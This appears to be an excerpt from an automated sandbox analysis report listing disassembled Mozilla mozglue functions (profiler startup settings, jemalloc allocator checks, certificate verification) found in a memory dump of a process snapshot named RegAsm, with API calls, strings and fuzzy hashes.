MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C525791
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C525B38
MOZ_BASE_PROFILER_HELP, xrefs: 6C525511
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C525717
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5256E3
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C525766
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C525D24
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5257AE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C52548D
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C525D2B
[I %d/%d] profiler_init, xrefs: 6C52564E
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5254B9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C525AC9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5257C5
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C525D01
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C525749
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C525C56
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C525D1C
GeckoMain, xrefs: 6C525554, 6C5255D5

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 85fa90033939fe5fe2ddcc23d3c018e76dad35c523873acf3fc18b5458965774
Instruction ID: 69799195e315472ca0922d0758fa68bd7dcdfe96bad8d8d58de02b1a760f2b70
Opcode Fuzzy Hash: 85fa90033939fe5fe2ddcc23d3c018e76dad35c523873acf3fc18b5458965774
Instruction Fuzzy Hash: 3B2247B1904380CFEB00AF748C4466A77F5FF86348F96096AF84A97A85E738D844CB57

Function 6C526C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C526CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C526D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C526D26

Part of subcall function 6C52CA10: malloc.MOZGLUE(?), ref: 6C52CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C526D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C526D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C526D73
free.MOZGLUE(00000000), ref: 6C526D80
CertGetNameStringW.CRYPT32 ref: 6C526DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C526DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C526DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C526DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C526E10
CryptMsgClose.CRYPT32(00000000), ref: 6C526E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C526E34
CreateFileW.KERNEL32 ref: 6C526EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C526F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C526F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C52709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C527103
free.MOZGLUE(00000000), ref: 6C527153
CloseHandle.KERNEL32(?), ref: 6C527176
__Init_thread_footer.LIBCMT ref: 6C527209
__Init_thread_footer.LIBCMT ref: 6C52723A
__Init_thread_footer.LIBCMT ref: 6C52726B
__Init_thread_footer.LIBCMT ref: 6C52729C
__Init_thread_footer.LIBCMT ref: 6C5272DC
__Init_thread_footer.LIBCMT ref: 6C52730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5273C2
VerSetConditionMask.NTDLL ref: 6C5273F3
VerSetConditionMask.NTDLL ref: 6C5273FF
VerSetConditionMask.NTDLL ref: 6C527406
VerSetConditionMask.NTDLL ref: 6C52740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C52741A
moz_xmalloc.MOZGLUE(?), ref: 6C52755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C527568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C527585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C527598
free.MOZGLUE(00000000), ref: 6C5275AC

Part of subcall function 6C54AB89: EnterCriticalSection.KERNEL32(6C59E370,?,?,?,6C5134DE,6C59F6CC,?,?,?,?,?,?,?,6C513284), ref: 6C54AB94
Part of subcall function 6C54AB89: LeaveCriticalSection.KERNEL32(6C59E370,?,6C5134DE,6C59F6CC,?,?,?,?,?,?,?,6C513284,?,?,6C5356F6), ref: 6C54ABD1

Strings

SHA256, xrefs: 6C526EC0
(, xrefs: 6C52768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C5272C8
wintrust.dll, xrefs: 6C5272CD

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: a53c46ad3318719896d985a8b8d81e1424a549b7f3454753736f97a7e477251c
Instruction ID: bfe0fb9552049316f62ed381cfa692b61a9d977eb656fc0391e67682251a9443
Opcode Fuzzy Hash: a53c46ad3318719896d985a8b8d81e1424a549b7f3454753736f97a7e477251c
Instruction Fuzzy Hash: 3652C371A003559BEB21DF24CC84BAA77F8FF85704F1145D9E909A7680DB74AE84CF91

Function 6C550DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C550F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C550F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C550FB7
EnterCriticalSection.KERNEL32(?), ref: 6C550FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C551031
LeaveCriticalSection.KERNEL32(?), ref: 6C5510D0
EnterCriticalSection.KERNEL32(?), ref: 6C55117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C551C39
EnterCriticalSection.KERNEL32(6C59E744), ref: 6C553391
LeaveCriticalSection.KERNEL32(6C59E744), ref: 6C5533CD
LeaveCriticalSection.KERNEL32(?), ref: 6C553431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C553437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5537D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5537BD
MALLOC_OPTIONS, xrefs: 6C5535FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C553A02
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C553793
MOZ_CRASH(), xrefs: 6C553950
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C553559, 6C55382D, 6C553848
Compile-time page size does not divide the runtime one., xrefs: 6C553946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5537A8
<jemalloc>, xrefs: 6C553941, 6C5539F1

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 4804fa5a2f3ffdf8f8330d42b55b8bcfd784da432000f85bead2d132a11dbd9b
Instruction ID: 0d075b87777c87ebf4a9a297d3d13971b6dc4448d181017d7e769fe8a2d63011
Opcode Fuzzy Hash: 4804fa5a2f3ffdf8f8330d42b55b8bcfd784da432000f85bead2d132a11dbd9b
Instruction Fuzzy Hash: B153AC71A057018FD304CF29C940616FBE1BF89328F69CBAEE8699B791D771E851CB81

Function 6C5734A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C573527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C57355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5735BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5735E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C57363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C573693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5736CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C573703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C57373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C573775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C57378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C573892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5738BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C573902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C573939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C573970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5739EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C573A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C573AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C573E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C573EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C573EE2

Part of subcall function 6C576180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5761DD
Part of subcall function 6C576180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C57622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5740F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C57412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C574157

Part of subcall function 6C576180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C576250
Part of subcall function 6C576180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C576292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C57441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C574448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C57484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C574863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C574878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C574896
free.MOZGLUE ref: 6C57489F

Strings

, xrefs: 6C574CD2

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 0dcb44cb728737fc0414f697e725c07bbd4fe667edce31f912c86ffe5183d315
Instruction ID: d42afbbc09b8f70bf11d165bd8dd14c979c04a63dcadff5fd4d7c09188591963
Opcode Fuzzy Hash: 0dcb44cb728737fc0414f697e725c07bbd4fe667edce31f912c86ffe5183d315
Instruction Fuzzy Hash: AFF22974909B80CFC731CF28C48469AFBF1BF8A354F118A5ED99997712DB319896CB42

Function 6C5264C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5264DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5264F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C526505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C526518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C52652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C52671C
GetCurrentProcess.KERNEL32 ref: 6C526724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C52672F
GetCurrentProcess.KERNEL32 ref: 6C526759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C526764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C526A80
GetSystemInfo.KERNEL32(?), ref: 6C526ABE
__Init_thread_footer.LIBCMT ref: 6C526AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C526AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C526AF7

Strings

_etoured.dll, xrefs: 6C5264ED
user32.dll, xrefs: 6C526526
nvd3d9wrap.dll, xrefs: 6C526500
nvdxgiwrap.dll, xrefs: 6C526513
detoured.dll, xrefs: 6C5264DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C526798

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: c5ad6bd42dd6005b5d69c949d498155bffd6fe0dfd43ecde068343bbf998c27e
Instruction ID: 04263182f86f23b20d246f0781124ede928d582e4ddece8d86cd2d570a03486e
Opcode Fuzzy Hash: c5ad6bd42dd6005b5d69c949d498155bffd6fe0dfd43ecde068343bbf998c27e
Instruction Fuzzy Hash: AFF1CF709013699FDB20DF24CC48B9AB7F5EF46318F1542D9D809A3681EB35AE84CF91

Function 6C57C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C57C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C57C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C57C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C57C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C57C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C57CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C57CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C57DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C57DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C57DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C57DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C57DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C57E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C57E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C57E472

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: f5ff135d1c1638e0acc7aea6e2b728f72a91b6e40e02d77a571f61a3662ba915
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: F833A071E0021ACFCB14CF98C8806EDBBF2FF89310F284669D955AB755D735A985CBA0

Function 6C53ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C53EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C53EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C541695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5416B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C541770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C541A3E

Strings

~qQl, xrefs: 6C53ED10
~qQl, xrefs: 6C53ED13

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qQl$~qQl
API String ID: 3693777188-1227926959
Opcode ID: 6687d5a5dbd2ae3c46fc376ba0bcdd0f4465b59f6158eef609391e31b6cb71dd
Instruction ID: 41a7691da8d7293da69ca28ed52076172c661135a15d703656d78ee7173421be
Opcode Fuzzy Hash: 6687d5a5dbd2ae3c46fc376ba0bcdd0f4465b59f6158eef609391e31b6cb71dd
Instruction Fuzzy Hash: B5B31C71E04229CFCB14CFA8C890A9DB7B2FF89304F2582A9D559AB755D730AD85CF90

Function 6C52FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C59E7B8), ref: 6C52FF81
LeaveCriticalSection.KERNEL32(6C59E7B8), ref: 6C53022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C530240
EnterCriticalSection.KERNEL32(6C59E768), ref: 6C53025B
LeaveCriticalSection.KERNEL32(6C59E768), ref: 6C53027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C530D67, 6C530D7B, 6C530DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C52FE99, 6C52FEB7, 6C52FED3, 6C530DB8, 6C530DD3, 6C5319B4
<jemalloc>, xrefs: 6C530D62, 6C530D76, 6C530DA7

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: f9654a2c43b199cf1ecbefbc776000de22edb7a91451772cf4a17ea884d3e71e
Instruction ID: d0c3c325b665c6d91c4e2c26c53cb8d2eb0fca5ed01a0a862dac6d1cd2e4b389
Opcode Fuzzy Hash: f9654a2c43b199cf1ecbefbc776000de22edb7a91451772cf4a17ea884d3e71e
Instruction Fuzzy Hash: 4DC2AE71A057518FD714CF29C980716BBE1BFC5328F28CA6DE8A98B795E771E801CB81

Function 6C553E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C577770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Ul,?,?,?,6C553E7D,?,?), ref: 6C57777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C553F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C553F5C
VerSetConditionMask.NTDLL ref: 6C553F8D
VerSetConditionMask.NTDLL ref: 6C553F99
VerSetConditionMask.NTDLL ref: 6C553FA0
VerSetConditionMask.NTDLL ref: 6C553FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C553FB4

Strings

nvinit.dll, xrefs: 6C554479
nvd3d9wrap.dll, xrefs: 6C554466
C>Ul, xrefs: 6C553E93

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Ul$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-1045946898
Opcode ID: 171c798c8dcd9078585f088816c844cff691c9356400e3567a424c556fd7a142
Instruction ID: 02a6f367580ed24c15f3c568881397a38a34de8a6b7ab74756b224e8fb352b29
Opcode Fuzzy Hash: 171c798c8dcd9078585f088816c844cff691c9356400e3567a424c556fd7a142
Instruction Fuzzy Hash: 5952E272610B498FD724DF34CC80AAB77E9AF85208F54096ED4978B782DB34F919CB60

Function 6C52FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C59E7B8), ref: 6C52FF81
LeaveCriticalSection.KERNEL32(6C59E7B8), ref: 6C53022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C530240
EnterCriticalSection.KERNEL32(6C59E768), ref: 6C53025B
LeaveCriticalSection.KERNEL32(6C59E768), ref: 6C53027B

Strings

MOZ_CRASH(), xrefs: 6C530CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C52FE99, 6C52FEB7, 6C52FED3, 6C530DB8, 6C530DD3, 6C5319B4, 6C531A10

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 6543a5d76594ddaf3cdb629296ab5ac628797cb7fdc24597b8f0fac6cad9f691
Instruction ID: db2fa9ede9b7c89359370ad8d19ab1f06dde751cce33fe7beb94482839b317ea
Opcode Fuzzy Hash: 6543a5d76594ddaf3cdb629296ab5ac628797cb7fdc24597b8f0fac6cad9f691
Instruction Fuzzy Hash: F4B2BD716057518FD718CF29C990716BBE1BF85328F28CA6DE86E8BB95E770E840CB41

Function 6C565600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C566131
schema, xrefs: 6C56606D
ProfileBuffer parse error: %s, xrefs: 6C565AC8, 6C565CBB
